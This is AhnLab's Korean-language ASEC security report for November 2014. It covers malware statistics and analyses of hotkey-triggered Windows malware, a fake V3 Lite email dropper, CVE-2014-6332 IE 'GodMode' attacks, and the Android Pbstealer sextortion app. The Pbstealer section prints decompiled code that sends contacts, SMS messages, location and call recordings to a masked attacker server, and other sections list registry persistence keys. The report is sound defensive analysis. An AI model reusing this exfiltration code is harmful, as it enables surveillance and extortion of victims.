Security Trend ASEC Report VOL.59 November, 2014
ASEC Report VOL.59 November, 2014 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하며, 매월발생한주요보안위협과이슈에대응하는최신보안기술에대한요약정 보를담고있습니다. 자세한내용은안랩닷컴 (www.ahnlab.com) 에서확인하실수있습니다. 2014 년 11 월보안동향 Table of Contents 1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 4 6 7 2 보안이슈 SECURITY ISSUE 01 키보드의키를이용한악성코드 야마꼬 와 핫키 02 개인정보유출부터사회문제까지 몸캠피싱주의 03 안랩 V3 Lite 업그레이드 사칭한악성코드 04 IE 취약점이용해사용자 PC를지배하는 갓모드 (GodMode) 공격 10 13 20 22 3 악성코드상세분석 Analysis-In-Depth 금융사이트보안솔루션으로위장한악성코드 27 ASEC REPORT 59 Security Trend 2
1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 ASEC REPORT 59 Security Trend
보안통계 01 악성코드통계 Statistics ASEC 이집계한바에따르면 2014 년 11 월한달간탐지된악성코드수는 426 만 3,988 건이다. 이는전월 406 만 5,620 건보다 19 만 8,368 건증가한수치다. 한편 11 월에수집된악성코드샘플수는 605 만 9,563 건으로집계됐다. [ 그림 1-1] 에서 탐지건수 란고객이사용중인 V3 등안랩의제품이탐지한악성코드의수를의미하며, 샘플 수집수 는안랩이자체적으로수집한전체악성코드의샘플수를의미한다. 6,000,000 5,000,000 4,000,000 4,065,620 4,263,988 3,000,000 2,000,000 2,523,094 1,000,000 0 4,650,555 4,572,315 6,059,563 탐지건수샘플수집수 9 월 10 월 11 월 [ 그림 1-1] 악성코드추이 ASEC REPORT 59 Security Trend 4
[ 그림 1-2] 는 2014 년 11 월한달간유포된악성코드를주요유형별로집계한결과이다. 불필요한프로그 램인 PUP(Potentially Unwanted Program) 가 55.87% 로가장높은비중을차지했고, 트로이목마 (Trojan) 계열의악성코드가 24.9%, 애드웨어 (Adware) 가 8.78% 로그뒤를이었다. 0.43% 2.69% 7.33% 55.87% 8.78% 24.9% PUP Trojan Adware etc Worm Downloader [ 그림 1-2] 주요악성코드유형 [ 표 1-1] 은 11 월한달간가장빈번하게탐지된악성코드 10 건을진단명기준으로정리한것이다. Adware/ Win32.SwiftBrowse 가총 54 만 575 건으로가장많이탐지되었고, PUP/Win32.IntClient 가 16 만 185 건으로그뒤를이었다. [ 표 1-1] 악성코드탐지최다 10건 ( 진단명기준 ) 순위 악성코드진단명 탐지건수 1 Adware/Win32.SwiftBrowse 540,575 2 PUP/Win32.IntClient 160,185 3 Unwanted/Win32.Exploit 127,284 4 Trojan/Win32.Agent 123,621 5 PUP/Win32.MyWebSearch 117,230 6 Trojan/Win32.OnlineGameHack 107,143 7 Trojan/Win32.Starter 100,825 8 PUP/Win32.Helper 73,579 9 Adware/Win32.Shortcut 69,421 10 Adware/Win32.SearchSuite 61,161 ASEC REPORT 59 Security Trend 5
보안통계 02 웹통계 Statistics 2014 년 11 월악성코드유포지로악용된도메인은 946 개, URL 은 6,018 개로집계됐다. 또한 11 월의악성 도메인및 URL 차단건수는총 633 만 313 건이다. 악성도메인및 URL 차단건수는 PC 등시스템이악성 코드유포지로악용된웹사이트의접속을차단한수이다. 7,000,000 6,000,000 6,081,235 6,330,313 5,000,000 4,000,000 3,545,673 3,000,000 2,000,000 40,000 30,000 20,000 15,842 18,431 10,000 1,338 1,365 946 6,018 악성도메인 /URL 차단건수 악성코드유포도메인수 0 9 월 10 월 11 월 악성코드유포 URL 수 [ 그림 1-3] 악성코드유포도메인 /URL 탐지및차단건수 ASEC REPORT 59 Security Trend 6
보안통계 03 모바일통계 Statistics 2014 년 11 월한달간탐지된모바일악성코드는 9 만 8,555 건으로집계되었다. 250,000 200,000 150,000 100,000 75,938 102,335 98,555 50,000 0 9 월 10 월 11 월 [ 그림 1-4] 모바일악성코드추이 ASEC REPORT 59 Security Trend 7
[ 표 1-2] 는 11 월한달간탐지된모바일악성코드유형중상위 10 건을정리한것이다. Android-PUP/ SmsReg 가지난달보다 7,001 건증가한 2 만 96 건으로집계되었다. [ 표 1-2] 유형별모바일악성코드탐지상위 10 건 순위악성코드진단명탐지건수 1 Android-PUP/SmsReg 20,096 2 Android-Trojan/FakeInst 17,057 3 Android-PUP/Dowgin 10,271 4 Android-Trojan/Opfake 5,268 5 Android-PUP/SMSreg 2,954 6 Android-Trojan/SmsSpy 2,757 7 Android-Trojan/SMSAgent 2,584 8 Android-PUP/Noico 1,842 9 Android-Trojan/SmsSend 1,763 10 Android-PUP/Airpush 1,474 ASEC REPORT 59 Security Trend 8
2 보안이슈 SECURITY ISSUE 01 키보드의키를이용한악성코드 야마꼬 와 핫키 02 개인정보유출부터사회문제까지 몸캠피싱주의 03 안랩 V3 Lite 업그레이드 사칭한악성코드 04 IE 취약점이용해사용자 PC를지배하는 갓모드 (GodMode) 공격 ASEC REPORT 59 Security Trend
보안이슈 01 키보드의키를이용한악성코드 야마꼬 와 핫키 Security Issue 키보드의 ' 스페이스 (space)' 키와 ' 엔터 (Enter)' 키는자주사용하는키때문인지악성코드제작자는특별한기능을부여하기도한다. 스페이스와엔터키에관련된악성코드두종류를살펴보겠다. 첫번째는 2010년발견된일명 야마꼬바이러스 라고불리는악성코드이다. 당시포털사이트 Q&A 게시판에는 [ 그림 2-1] 과같은글이게시되었다. 반면시스템관리툴및작업관리자, 레지스트리편집기등특정프로세스의실행을방해하는기능도있다. 이기능은자신을보호하기위해특정소리가나도록하여자신을노출시키는것과는대조적으로, 악성코드자신을숨기는기능도추가하였다. 시스템시작시자동실행으로설정하고, 폴더옵션비활성화및숨김속성을변경하지못하게하며, 작업관리자를비활성화시키는행위는사용자를속이기에충분하다. 표 2-2 실행방해프로세스목록 그림 2-1 포털사이트 Q&A 페이지에등록된질문 해당악성코드감염시나타나는증상은특정키를누르면각키에따라다양한소리가난다. 흔히악성코드는자신을숨기기위해다양한방법을사용하는데이악성코드는자신을드러내고있었다. 표 2-1 키에따른음성 Space Bar : 야마꼬 Enter : 아하하하 그외 Tab, Delete 키등 0001B66C 0041C26C 0001B680 0041C280 0001B694 0041C294 0001B6AC 0041C2AC 0001B6C4 0041C2C4 0001B6D8 0041C2D8 0001B6EC 0041C2EC 0001B700 0041C300 0001B714 0041C314 0001B72C 0041C32C 0001B73C 0041C33C 0001B750 0041C350 0001B770 0041C370 0001B788 0041C388 0001B79C 0041C39C 0 procexp.exe 0 procmon.exe 0 autoruns.exe 0 KillProcess.exe 0 PrcInfo.exe 0 filemon.exe 0 regmon.exe 0 taskmgr.exe 0 HiJackThis.exe 0 avz.exe 0 phunter.exe 0 UnlockerAssistant.exe 0 Unlocker.exe 0 regedit.exe 0 msconfig.exe ASEC REPORT 59 Security Trend 10
표 2-3 악성코드에의해생성된파일및레지스트리변경파일생성 C: INDOWS system32 logo.scr C: WINDOWS system32 drivers servise.exe C: WINDOWS system32 drivers Cache XXX.scr 레지스트리변경 HKLM SOFTWARE Microsoft Windows CurrentVersion R un NvCplDeamon "C: WINDOWS system32 drivers servise.exe" HKCU Software Microsoft Windows CurrentVersion Expl orer Advanced "0" HKCU Software Microsoft Windows CurrentVersion Expl orer Advanced ShowSuperHidden "0" HKCU Software Microsoft Windows CurrentVersion Expl orer Advanced HideFileExt "1" HKLM SOFTWARE Microsoft Windows CurrentVersion p olicies explorer NoFolderOptions "1" HKCU Software Microsoft Windows CurrentVersion Poli cies System DisableTaskMgr "1" 두번째는 2014년에발견된 핫키 (Hotkey, 바로가기키 ) 를이용한악성코드이다. 이악성코드는사용자가인지하지못한상황에서자동실행시키고시스템에서오랫동안살아남기위해다양한방법을이용해왔다. 윈도에는이러한기능을지원해주는여러가지값이있다. 그값은 [ 표 2-4] 와같다. 표 2-4 자동실행되는파일등록경로윈도시작시자동실행 [HKCU Software Microsoft Windows CurrentVersion Run] [HKCU Software Microsoft Windows NT CurrentVersion- Winlogon] [HKLM Software Microsoft Windows CurrentVersion Run] [HKLM S Microsoft Windows NT CurrentVersion- Winlogon] 시작프로그램등록 %APPDATA% Microsoft Windows Start Menu Programs Startup %ProgramData% Microsoft Windows Start Menu Programs Startup 예약된작업등록 C: Windows Tasks 서비스등록 [HKLM SYSTEM CurrentControlSet Services] 위와같은방법은악성코드에서흔히사용된다. 최근에는다른방법을이용하여자동으로실행되는악성코드가발견되었다. 감염경로는취약한웹사이트또는 PUP( 불필요한프로그램 ) 에의해감염되는것으로확인되었다. 해당악성코드는 [ 표 2-5] 와같이스스로를 C: Program Files Common Files 경로에복사한후삭제한다. 표 2-5 파일생성경로파일생성경로 C: Program Files Common Files sochvst.exe C: Documents and Settings Administrator 시작메뉴 Xnv.url C: Documents and Settings Administrator 시작메뉴 Xnz.url 사용자가인지하지못하도록악성코드가실행하는방법은 [ 그림 2-2] 와같이파일의실행원리를확인하면알수있다. ASEC REPORT 59 Security Trend 11
또한, 악성코드를제거하더라도 URL 파일을삭제하지않으면엔터또는스페이스키를입력할때마다알림창이나타나 PC 사용에불편을준다. 그림 2-2 URL 파일텍스트정보 Xnv.url( 상 ) / Xnz.url( 하 ) 그림 2-4 악성코드삭제후핫키동작시발생하는오류메시지 해당악성코드는 [ 그림 2-5] 와같이네트워크와지속적으로연결을유지한다. 그림 2-5 네트워크연결정보 그림 2-3 핫키정보 Xnv.url( 상 ) / Xnz.url( 하 ) [ 그림 2-3] 과같이바로가기키값을각각 스페이스 와 엔터 로설정하면, 사용자가엔터또는스페이스키를입력할때마다악성코드를실행한다. [ 표 2-4] 와같은설정없이도악성코드를자동으로실행시킬수있다. V3 제품에서는관련악성코드를다음과같이진단하고있다. <V3 제품군의진단명 > Win-Trojan/Agent.166912.BN (2010.07.20.00) Backdoor/Win32.Zegost (2014.11.12.05) ASEC REPORT 59 Security Trend 12
보안이슈 02 개인정보유출부터사회문제까지 몸캠피싱주의 Security Issue 최근몸캠피싱에관한뉴스가언론에자주등장하고있다. 2013년처음등장한몸캠피싱은일종의사회공학기법과심리를교묘하게이용하였다. 관련악성앱또한꾸준히발전하고있으며피해자도증가하고있다. 실제로몸캠피싱피해자는정상적인사회생활이어려울정도로심각한후유증을겪고있으며, 몸캠피싱을당한 20대남성이스스로목숨을끊는사건까지발생하는등심각한사회문제로이어지고있다. 이와관련해최근몸캠피싱에사용되는 Android- Trojan/Pbstealer 악성앱에대해상세히살펴본다. [ 그림 2-6] 과같이몸캠피싱과정은온라인채팅서비스를통해만난상대방에게모바일화상채팅서비스를이용하여대화를유도한다. 화상채팅이시작되면알몸화상채팅을유도하며피해자의얼굴을보여줄것을요구한다. 가해자는피해자모르게화상채팅내용을동영상으로녹화한다. 목소리가들리지않는다며새로운앱을설치할것을요구하고다운로드할수있는인터넷주소를보낸다. 피해자의스마트폰에앱이설치되면스마트폰에저장된다양한정보를공격자에게유출한다. 이때유출되는정보는피해자의연락처, 스마트폰에저장된주소록과추가로다양한정보들이포함된다. 공격자는정보유출에성공하면피해자에게화상채팅내용이동영상으로녹화되었으니요구금액을송금하지않으면지인들에게동영상을유포하겠다고협박한다. 그림 2-6 몸캠피싱과정 1. 설치및동작몸캠피싱에사용되는 Android-Trojan/Pbstealer 악성앱설치시요구하는권한은 [ 그림 2-7] 과같다. 전화, 문자, 위치, 연락처, 내장메모리접근권한과오 ASEC REPORT 59 Security Trend 13
디오녹음및인터넷기능사용권한등이다. 시스템설정을변경할수있고스마트폰시작시자동으로실행될수있다는점등은일반적인앱이요구하는내용과는차이가있다. 한다. 이때사용자모르게스마트폰에저장되어있는다양한정보를공격자의서버로전송한다. 그림 2-7 Android-Trojan/Pbstealer 설치시권한요구 해당앱이설치되면 음성지원, SecretTalk, 검찰청보안강화, v3, Authentication 등다양한이름의앱이스마트폰화면에나타난다. 그림 2-9 Android-Trojan/Pbstealer 실행시공격자서버로유출되는정보들 2. 상세기능분석앞서살펴본악성앱의기능은에러메시지출력후종료되지만, 네트워크패킷을살펴본결과다양한정보가공격자의서버로유출되었다. 유출된정보와상세한기능을알아보기위해먼저악성앱의명세를가진 AndroidManifest.xml 파일을살펴보자. 그림 2-8 Android-Trojan/Pbstealer 실행화면 해당앱을실행하면 [ 그림 2-8] 과같이 기기관리자 설치를요구하며에러메시지를보여주고앱을종료 <?xml version='1.0' encoding='utf-8'?> <manifest xmlns:android="http://schemas.android. com/apk/res/android" android:versioncode="1" android:versionname="1.0" package="com.android. secerettalk"> <uses-sdk android:minsdkversion="8" android:targetsdkversion="17"/> WAKE_LOCK"/> ASEC REPORT 59 Security Trend 14
RECEIVE_SMS"/> READ_SMS"/> WRITE_EXTERNAL_STORAGE"/> WRITE_INTERNAL_STORAGE"/> READ_EXTERNAL_STORAGE"/> READ_INTERNAL_STORAGE"/> READ_CONTACTS"/> INTERNET"/> READ_PHONE_STATE"/> RECEIVE_BOOT_COMPLETED"/> PROCESS_OUTGOING_CALLS"/> READ_PHONE_STATE"/> CALL_PHONE"/> <uses-permission android:name="com.android.launcher. permission.write_settings"/> <uses-permission android:name="com.android.launcher. permission.read_settings"/> WRITE_SETTINGS"/> READ_SETTINGS"/> ACCESS_COARSE_LOCATION"/> ACCESS_FINE_LOCATION"/> ACCESS_MOCK_LOCATION"/> RECORD_AUDIO"/> SEND_SMS"/> <application android:theme="@0x7f070001" android:label="@0x7f060000" android:icon="@0x7f020000" android:debuggable="true" android:allowbackup="true"> <activity android:label="@0x7f060000" android:name="com.android.secrettalk. SecretTalk"> <intent-filter> <action android:name="android.intent.action. MAIN"/> <category android:name="android.intent.category. LAUNCHER"/> </intent-filter> </activity> <receiver android:name="com.android.secrettalk. RestartReceiver"> <intent-filter> <action android:name="android.intent.action.boot_ COMPLETED"/> </intent-filter> </receiver> <receiver android:label="secrettalk_device_admin" android:name="com.android.secrettalk. secrettalkreceiver" android:permission="android.permission.bind_ DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@0x 7f040000"/> <intent-filter> <action android:name="android.app.action.device_ ADMIN_ENABLED"/> </intent-filter> </receiver> <service android:name="com.android.secrettalk. ReceiverRegisterService"/> </application> </manifest> 위와같이 AndroidManifest 파일을통해해당앱이실행할때사용하는다양한권한및기능을확인할수있다. 수신되거나저장되어있는 SMS, 내 외부 ASEC REPORT 59 Security Trend 15
저장장치의읽기및쓰기, 주소록접근, 스마트폰의정보, 송수신하는전화, SMS 발송기능, 오디오녹음기능, 위치정보확인기능, 시스템설정변경기능등다양한권한을필요로하는것을알수있다. 또한스마트폰이동작하면자동실행기능이있다는것도알수있다. 악성앱을실행했을때동작하는클래스들중중요클래스를살펴보자. 1 SecretTalk 악성앱을실행하면 SecretTalk 클래스가실행되며화면에보이는에러메시지를출력하고 ReceiverRegisterService 클래스를실행한다. 그림 2-10 SecretTalk 클래스구조 ReceiverRegisterService 클래스는스마트폰에저장되어있는다양한정보를공격자의서버로유출한다. 유출정보는다음의코드에서자세히알수있다. public void oncreate() { super.oncreate(); GlobalData.getInstance().setContext(this. getapplicationcontext()); v0 = this.getsystemservice("phone"); v1 = v0.getline1number().tostring(); if(v1.equals("")!= 0) { v1 = v0.getsimserialnumber(); } GlobalData.my_phonenumber = v1.replaceall("\d+", ""). tostring(); this.loadgps(); this._obj = new JsonObject(); this._obj.add("contacts", ContactInfo.getContactInfo()); this._obj.addproperty("user_pn", GlobalData.my_ phonenumber); this._obj.add("location", ContactInfo.getPosition()); this._obj.add("call_history", ContactInfo.getCallDetails()); this._obj.add("sms_history", ContactInfo.getAllSMS()); Log.w("contact", "send start"); v3 = new Void[0]; new ReceiverRegisterService$2(this).execute(v3); this.smsfilter1.setpriority(1000); this.smsreceiver = new SmsReceiver(); this.registerreceiver(this.smsreceiver, this.smsfilter1); this.smsfilter2.setpriority(999); this.smscheck = new SmsCheck(); this.registerreceiver(this.smscheck, this.smsfilter2); this.callfilter.addaction("android.intent.action.phone_ STATE"); this.callfilter.setpriority(888); this.callreceiver = new CallReceiver(); this.registerreceiver(this.callreceiver, this.callfilter); this.packagefilter.addaction("android.intent.action. PACKAGE_REMOVED"); this.packagefilter.adddatascheme("package"); this.packagereceiver = new PackageManager(); this.registerreceiver(this.packagereceiver, this. packagefilter); this.startphonestatelistener(); this.monitorsms(); return; } ASEC REPORT 59 Security Trend 16
유출되는정보는스마트폰에저장된주소록, 사용자정보, 위치정보, 송수신내역, 송수신 SMS 내역등이다. 이후수신되는 SMS를실시간으로모니터링하여외부로유출한다. 2 SmsReceiver SMS가수신되면송신자정보, SMS 본문, 수신된날짜를수집한다. SmsReceiver SmsReceiver$1 그림 2-11 SmsReceiver 클래스구조 v0 = new JsonObject(); v0.addproperty("user_pn", GlobalData.my_phonenumber); v0.addproperty("call_pn", this.val$strfrom); v0.addproperty("contents", URLEncoder.encode(this. val$strmsg)); v0.addproperty("cdate", Long.valueOf((System. currenttimemillis() / 1000.0))); v0.addproperty("type", Integer.valueOf(1)); HttpManager.postHttpResponse(URI.create("http://223.***.***.***/android/monitor/app/serverside/ android_api.php?mname=smsinformation&format=json"), v0.tostring()); return 0; } ReceiverRegisterService.access$4(this.this$0). sendemptymessage(7000); return 0; } 수집된정보는다음과같이 JSON(JavaScript Standard Object Notation) 형태로가공되어외부로유출되며, SMS 차단을설정한경우사용자가확인할수없도록수신된 SMS를제거한다. protected varargs Void doinbackground(void[] p11) { v1 = new JsonObject(); v1.addproperty("phone_number", GlobalData.my_ phonenumber); v3 = HttpManager.postHttpResponse(URI. create("http://223.***.***.***/android/monitor/app/ serverside/android_api.php?mname=isblockinformation&for mat=json"), v1.tostring()); if(v3.equals("0") == 0) { if(v3.equals("1")!= 0) { SmsReceiver.is_blocked = 1; } } else { SmsReceiver.is_blocked = 0; } 3 SmsCheck 사용자가발송한 SMS는스마트폰에저장되어있는데이터로추출및가공하여외부로유출한다. SmsCheck SmsCheck$OutgoingSmsLogger 그림 2-12 SmsCheck 클래스구조 protected varargs Void doinbackground(void[] p16) { this.timelastchecked = this.prefs.getlong("time_last_ checked", -1.0, v4); v0 = this.mcontext.getcontentresolver(); v6 = new JsonObject(); this.cursor = v0.query(this.sms_uri, this.columns, new StringBuilder("type = 2 AND date > ").append(this.timelastchecked). tostring(), 0, "date DESC"); ASEC REPORT 59 Security Trend 17
if(this.cursor.movetonext() == 0) { Log.w("outgoing sms", "there are nothing"); v1 = 0; } else { v13 = new StringBuilder(String.valueOf("")).append(" outgoing sms ").tostring(); this.timelastchecked = this.cursor.getlong(this. cursor.getcolumnindex("date")); do { v9 = this.cursor.getlong(this.cursor.getcolumnindex("date")); v7 = this.cursor.getstring(this.cursor.getcolumnindex("address")); v3 = "body"; v8 = this.cursor.getstring(this.cursor. getcolumnindex("body")); v14 = new StringBuilder(String.valueOf(v9)).append(",").append(v7).append(",").append(v8).toString(); if(v13.contains(v14) == 0) { v13 = new StringBuilder(String.valueOf(v13)). append(v14).tostring(); v6.addproperty("call_pn", v7); v6.addproperty("type", Integer.valueOf(2)); v6.addproperty("contents", URLEncoder.encode(v8)); v6.addproperty("user_pn", GlobalData.my_ phonenumber); v6.addproperty("cdate", Long.valueOf((System. currenttimemillis() / 1000.0))); Log.d("Test", new StringBuilder("date sent: ").append(v9).tostring()); Log.d("Test", new StringBuilder("target number: ").append(v7).tostring()); v2 = new StringBuilder("number of characters: "); v3 = v8.length(); Log.d("Test", v2.append(v3).tostring()); v13 = new StringBuilder(String.valueOf(v13)). append("").tostring(); } } while(this.cursor.movetonext()!= 0); this.cursor.close(); 4 CallStateListener 통화내용을녹음파일로만들어외부로유출하고스마트폰에저장된녹음파일은삭제한다. CallStateListener CallStateListener$1 그림 2-13 CallStateListener 클래스구조 Recorder_prepare를호출하여파일로녹음을시작한다. private void Recorder_Prepare() { GlobalData._recorder.prepare(); GlobalData._recorder.start(); Log.w("call", "start record"); return; } 서버로통화기록과녹음파일전송 녹음된파일은업로드파일 (uploadfile) 을호출하 여통화시간, 전화번호등의추가정보와함께외부로유출된다. public static int uploadfile(string p41) { v4[0] = "number"; v4[1] = "type"; v4[2] = "date"; v4[3] = "duration"; v27 = GlobalData.getInstance().getContext(). getcontentresolver().query(calllog$calls. CONTENT_URI, v4, 0, 0, "date DESC"); v29 = v27.getcolumnindex("number"); v37 = v27.getcolumnindex("type"); v17 = v27.getcolumnindex("date"); v21 = v27.getcolumnindex("duration"); ASEC REPORT 59 Security Trend 18
v30 = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String. valueof(new StringBuilder(String.valueOf("")).append("&call_ num=").append(v31).tostring())).append("&type="). append(v15).tostring())).append("&udate=").append((long. parselong(v13) / 1000.0)).toString())).append("&call_time="). append(v14).tostring(); } v38(new StringBuilder("http://223.***.***.***/android/ monitor/app/serverside/android_api.php?mname=audiou pdate&format=json&phone_num=").append(contactinfo. getmyphonenumber()).append(v30).tostring()); 지금까지살펴본 Android-Trojan/Pbstealer 는사용자의스마트폰내전화번호를포함한중요정보와저장되어있는연락처정보를외부로유출한다. 사 용자와연락할수있는방법을알아내고, 사용자를협박하기위해지인들의주소록을확보한다. 추가로와이파이 (Wi-Fi) 와 GPS를통해실시간으로위치정보를알아내고송수신된 SMS와통화목록은물론통화내용까지유출한다. 몸캠피싱악성앱은개인정보유출은물론, 사회생활이불가능해질정도로피해가크다. 따라서몸캠피싱의과정을이해하고비슷한패턴으로접근하는수상한사람은가급적피하는것이좋다. 또한새로운스마트폰애플리케이션을설치하기전에해당애플리케이션이동작하는데불필요한권한이있는지주의깊게살펴보는습관이필요하다. 이와함께모바일백신을이용하여새롭게설치되는애플리케이션을확인해보는것도좋은방법이다. ASEC REPORT 59 Security Trend 19
보안이슈 03 안랩 V3 Lite 업그레이드 사칭한악성코드 Security Issue 최근 [ 그림 2-14] 와같이 V3 Lite를최신버전으로업그레이드하세요! 라는제목으로 안랩 을사칭한메일이수신되었다. 그림 2-14 안랩을사칭한이메일 메일에는 V3 Lite의업그레이드를권고하는내용과관련파일이첨부되었으며, 해당파일은 [ 그림 2-15] 와같이윈도폴더아이콘으로위장한 EXE 실행파일이다. 실행한다. [ 그림 2-16] 과같이악성코드가실행되면 C: Documents and Settings [ 사용자계정 ] Local Settings Application Data 경로에 local. exe 파일을생성하며, 해당악성코드가위치한경로내에 [ 그림 2-15] 와같은파일명 (V3Lite 설치방법및제품번호 Ver3.1976.331.25) 의폴더를생성한다. 악성코드가생성한폴더는자동으로풀스크린 (FullScreen) 상태로열리며, 사용자가악성코드실행을눈치채지못하도록하는치밀함을보인다. 생성된폴더내에는 V3 Lite UI를캡처한이미지파일과제품번호 (Serial Number) 가기재된텍스트파일이있다. 그림 2-15 폴더로가장한 EXE 실행파일 알려진파일형식의파일확장명숨기기 기능이활성화된윈도사용자라면의심없이해당악성코드를 그림 2-16 악성코드실행시생성되는폴더내파일들 ASEC REPORT 59 Security Trend 20
악성코드는추가로생성한 _selfmove.bat 의 batch 명령어를통해 C: Documents and Settings [ 사용자계정 ] Local Settings Application Data 경로내에 testmove.pdf 로복제한후스스로삭제한다. 한편, [ 그림 2-18] 과같이첨부파일에궁금증을유발시키는메일문구로사용자에게실행을유도하는악성코드유포방식은지난 10월부터시스템정보를탈취하는악성코드로이슈가된 my new photo 스팸메일과유사하다. 이후해당악성코드는추가행위를하지않지만, [ 그림 2-17] 과같이추가생성됐던 local.exe 악성코드를통해특정 URL과통신할것으로추정된다. 그림 2-17 local.exe 가통신할것으로추정되는특정 URL 그림 2-18 악성코드를첨부한 my new photo 스팸메일 local.exe 악성코드가통신할 C&C로추정되는서버는현재존재하지않는다. 정확한악성행위는파악할수없으나해당주소로부터추가적인악성코드를다운로드할것으로예상된다. local.exe가연결을시도하는특정 URL은 [ 표 2-6] 과같다. 표 2-6 local.exe가연결을시도하는 URL hxxp://d.ahn*****.com/***/update2014.php hxxp://d.ahn*****.com/***/download2014.htm hxxp://d.ahn*****.com/***/downloadsuccess.php hxxp://d.ahn*****.com/***/downloadfail.php hxxp://d.ahn*****.com/***/exefail.php 최근유포된두가지사례처럼갈수록진화하는악성코드가지속적으로발견됨에따라사용자는출처가불분명한파일의다운로드와실행에도각별한주의가필요하다. V3 제품에서는관련악성코드를다음과같이진단하고있다. <V3 제품군의진단명 > Dropper/Win32.Agent (2014.11.21.04) Trojan/Win32.Agent (2014.11.22.01) ASEC REPORT 59 Security Trend 21
보안이슈 Security Issue 04 IE 취약점이용해사용자 PC를지배하는 갓모드 (GodMode) 공격 최근인터넷익스플로러 (Internet Explorer, 이하 IE) 환경에서발생하는 OLE 자동화배열원격코드실행취약점 (CVE-2014-6332) 을이용한공격사례가급증하고있다. 윈도 (Windows) 95 이상의 OS 버전과 IE 3 이상의웹브라우저가해당취약점의영향을받아피해발생범위가상당히넓다. 게다가최근해당취약점을이용한공격코드가공개되면서구체적인공격사례들이급증하고있다. 특히국내에서는지난 11월중순경영화예매사이트나여행사이트, 인터넷서점등의웹사이트가해당취약점에의해침해된사례가확인됐다. 실제로해당취약점을이용한국내주요사이트침해사례에서도공격자는웹페이지내에악성스크립트를삽입하여피해자들을취약점랜딩페이지로유도하였다. 취약점랜딩페이지란공격코드 (Exploit Code) 들로구성된페이지로, 공격자들은취약점랜딩페이지를구성하여사용자들을유도한다. 공격자는랜딩페이지로접속한사용자들의 PC에설치되어있는웹브라우저나자바 (Java), 어도비플래시플레이어 (Adobe Flash Player) 등의프로그램버전정보를확인한후각버전에해당하는공격코드를원격에서실행한다. CVE-2014-6332 취약점은윈도 OLE(Object Linking and Embedding) 자동화배열원격코드실행취약점으로, IE가 OLE 객체를처리하는과정에서원격으로코드를실행하는취약점이다. 공격자는해당취약점을이용해사용자시스템에서허용되지않은메모리개체에접근할수있다. 또한이를이용해정상웹사이트를침해하고이손상된웹사이트에접속한사용자들을또다른특수하게조작된웹사이트로유도할수있다. 1. 악성페이지로사용자유도 그림 2-19 IE 취약점공격흐름도 ASEC REPORT 59 Security Trend 22
또한공격자들은악성스크립트를난독화하여삽입함으로써관리자들이쉽게인지할수없도록하였다. 난독화방법으로는문자열을 ASCII 값 (10진수또는 16진수 ) 으로표현 ( 대체 ) 하거나자바스크립트난독화기법 (Dean Edward Packer 등 ) 을주로사용하였다. Script와관련이있다. VBScript는 ASP(Active Server Pages) 의기본스크립트언어로, IE는기본적으로 VBScript 엔진을포함하고있다. 최근구글크롬 (Google Chrome) 등여타브라우저는 VBScript를지원하지않는추세이나 IE는기존버전엔진과의호환성을위해여전히 VBScript를지원하고있다. 그림 2-20 난독화된스크립트 난독화된스크립트들을풀어내면대부분 [ 그림 2-21] 과같이특정 URL로유도하는내용이존재한다. 기본적으로 IE는특정한조건하에서만 VBScript 가실행되도록제한하고있다. VBScript를실행하기전에 COleScript 객체내의세이프모드 (safemode) 플래그를참조하여 VBScript 실행여부를결정하는것이다. 대부분세이프모드플래그가설정되어있기때문에무분별한 VBScript 실행은방지가능하다. 그러나공격자가세이프모드플래그를변경할수있게되면 IE에서원하는 VBScript 를임의로실행할수있는갓모드 (GodMode) 를이용할수있게된다. 그림 2-21 난독화해제스크립트 국내영화예매사이트 여행 인터넷서점사이트를노린이번사례에사용된랜딩페이지는사용자들이침해사이트를통해랜딩페이지에접속하면 PC 에 IE가설치되어있는지확인한후 CVE-2014-6332 취약점을이용해공격코드가실행되도록구성되어있었다. 2. CVE-2014-6332 취약점상세분석 CVE-2014-6332 취약점은스크립트언어인 VB- 물론일반적인방법으로 COleScript 객체의주소를얻고해당주소로이동하여플래그값을변경하는것은불가능하다. 그러나 CVE-2014-6332 취약점은정수오버플로우를발생시켜 VBScript 엔진내부의인가되지않은메모리영역을참조할수있게한다. 이를통해세이프모드플래그를변경할수있게되고갓모드를활성화시킬수있다. [ 그림 2-22] 는 CVE-2014-6332 취약점을유발하는코드의일부로, 코드에서정의한배열의크기를임의로재조정하는과정에서취약점을유발한다. ASEC REPORT 59 Security Trend 23
VBScript를실행할수있는권한을얻은공격자는최종적으로실행하고자하는코드를원격으로송신한다. 이과정에서백신 (AV) 및다양한보안기법을우회하기위해익스플로잇킷 (Exploit Kit) 을이용해난독화하여송신한다. [ 그림 2-24] 는난독화된코드의일부이다. 이번국내주요웹사이트침해사례에서는 CK 익스플로잇킷 (Exploit Kit) 이주로사용되었다. CK 익스플로잇킷은자바, 어도비플래시플레이어, IE 등의취약점을이용하여원격에서원하는코드를실행할수있게해주는익스플로잇킷중의하나다. 그림 2-22 취약점유발 VBScript 일부 이어 [ 그림 2-23] 과같은취약코드를통해 COle- Script 의주소를얻어온뒤객체안에존재하는세 이프모드플래그값을변경한다. 그림 2-24 난독화되어있는 VBScript 일부 난독화를해제하면 [ 그림 2-25] 와같은코드를확인 할수있다. 이코드에는특정 URL 에서파일을다운 로드하고실행하도록하는명령어들이담겨있다. 그림 2-23 갓모드 (GodMode) 획득을위한 VBScript 일부 위와같은과정을통해공격자는원격시스템에서갓모드를획득할수있다. 갓모드로자유롭게 그림 2-25 최종적으로실행되는 VBScript 일부 3. 악성코드유포및악의적인행위이번취약점을이용해유포되는악성코드의종류는 ASEC REPORT 59 Security Trend 24
